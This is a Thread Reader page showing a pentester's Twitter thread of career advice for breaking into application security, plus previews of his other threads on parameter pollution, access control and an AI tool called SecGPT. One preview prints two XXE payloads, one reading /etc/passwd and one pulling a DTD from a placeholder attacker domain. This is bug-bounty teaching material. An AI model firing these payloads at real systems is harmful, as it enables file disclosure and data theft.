Share this page!

Enter URL or ID to Unroll

You can paste full URL like: https://x.com/threadreaderapp/status/1644127596119195649
or just the ID like: 1644127596119195649

How to get URL link on X (Twitter) App

  1. On the Twitter thread, click on or icon on the bottom
  2. Click again on or Share Via icon
  3. Click on Copy Link to Tweet
  4. Paste it above and click "Unroll Thread"!
  5. More info at Twitter Help
πŸ‡·πŸ‡΄ cristi Profile picture
@CristiVlad25
Mar 21, 2023 β€’ 9 tweets β€’ 5 min read β€’ Read on X
Scrolly
From Noob to Pentesting Clients in 2023 πŸ‘‡
1. Be laser focused to become l33t. Cybersecurity is a large field and you can't be an expert of everything.
2. Let's say you choose application security. Here's how I would skill up really fast.
3. Go to pentester.land @PentesterLand and narrow down your search to your chosen vulnerability category. Read as many reports as possible.
4. Go to tryhackme.com @RealTryHackMe and narrow down your search to your category. Practice as much as possible.
5. Do the same thing on Web Security Academy at @PortSwigger.
6. Participate in VDPs (not paid bounties). I explained why in this video
7. Get your first client using the unconventional tips I gave in this video
8. Now, do it!

Let me know what you're struggling with πŸ‘‡

#pentesting #appsec #infosec #cybersecurity #ethicalhacking #bugbounty

I've explained all of these steps in this short video

β€’ β€’ β€’

Missing some Tweet in this thread? You can try to force a refresh
γ€€

Keep Current with πŸ‡·πŸ‡΄ cristi

πŸ‡·πŸ‡΄ cristi Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @CristiVlad25

πŸ‡·πŸ‡΄ cristi Profile picture
Mar 19, 2023
This got interesting very fast, business development with ChatGPT, concise. Image
Image
Image
Read 4 tweets
πŸ‡·πŸ‡΄ cristi Profile picture
Mar 19, 2023
HTTP Parameter Pollution @SecGPT has seen in its training. Image
1. ATO via password reset

The attacker manipulates the HTTP parameters of the password reset page to change the email address associated with the account; then use the password reset link => ATO.
2. Price manipulation in e-commerce platforms

The attacker manipulates the HTTP parameters of an e-commerce website to change the price of a product. The attacker can then purchase the product at a lower price than intended.
Read 5 tweets
πŸ‡·πŸ‡΄ cristi Profile picture
Mar 17, 2023
πŸš€πŸ”’Exciting news! SecGPT is now LIVE!

Trained on thousands of cybersecurity reports, SecGPT revolutionizes cybersecurity with AI-driven insights.πŸ‘‡
1. Trained on an extensive collection of cybersecurity reports, @SecGPT provides you with a deeper understanding of vulnerabilities, exploitation techniques, and emerging trends in cybersecurity.

Its knowledge increases as more reports and writeups are published.
2. Explore SecGPT's capabilities and see how it can assist you in enhancing your cybersecurity expertise.

Try it out for free at alterai.me

#ai #cybersecurity #infosec #pentesting #ethicalhacking #bugbounty #bugbountytips #secgpt
Read 7 tweets
πŸ‡·πŸ‡΄ cristi Profile picture
Mar 16, 2023
I never rely on automation alone.

In a recent external pentest, I was going over the assets manually, while running some tools in the background, including nuclei.
1. One instance was running a software vulnerable to arbitrary file deletion. Nuclei didn't even smell it, unfortunately.

What I usually do, is to look over famous exploits for the specific software. And this one was a victim.
2. Another instance was running a software vulnerable to RCE. Thanks @infosec_au for the amazing work that help uncover this.

Nuclei has some templates for this, but they didn't catch it.

Similar to #1, I dug deeper manually and confirmed the vulnerabilty.
Read 4 tweets
πŸ‡·πŸ‡΄ cristi Profile picture
Mar 14, 2023
Broken Access Control attack vectors, by #ChatGPT4 πŸ‘‡ Image
1. IDOR

This occurs when an application exposes internal implementation objects, such as files, directories, or database keys, without proper authorization checks. Attackers can manipulate these references to gain unauthorized access to sensitive data.
2. Privilege Escalation

An attacker could exploit insecure access controls to elevate their privileges within the application, allowing them to perform unauthorized actions or access sensitive data.
Read 11 tweets
πŸ‡·πŸ‡΄ cristi Profile picture
Mar 13, 2023
Boost your pentesting and bug bounty game with SecGPT's AI insights from thousands of online security reports.

I've asked it for some XXE payloads found in the reports. Image
1. Basic XXE payload

`<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>`
2. Blind XXE payload

`<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attackerdomain/xxe.dtd">%xxe;]><foo></foo>`
Read 7 tweets

Did Thread Reader help you today?

Support us! We are indie developers!

This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us!

Send Email!

:(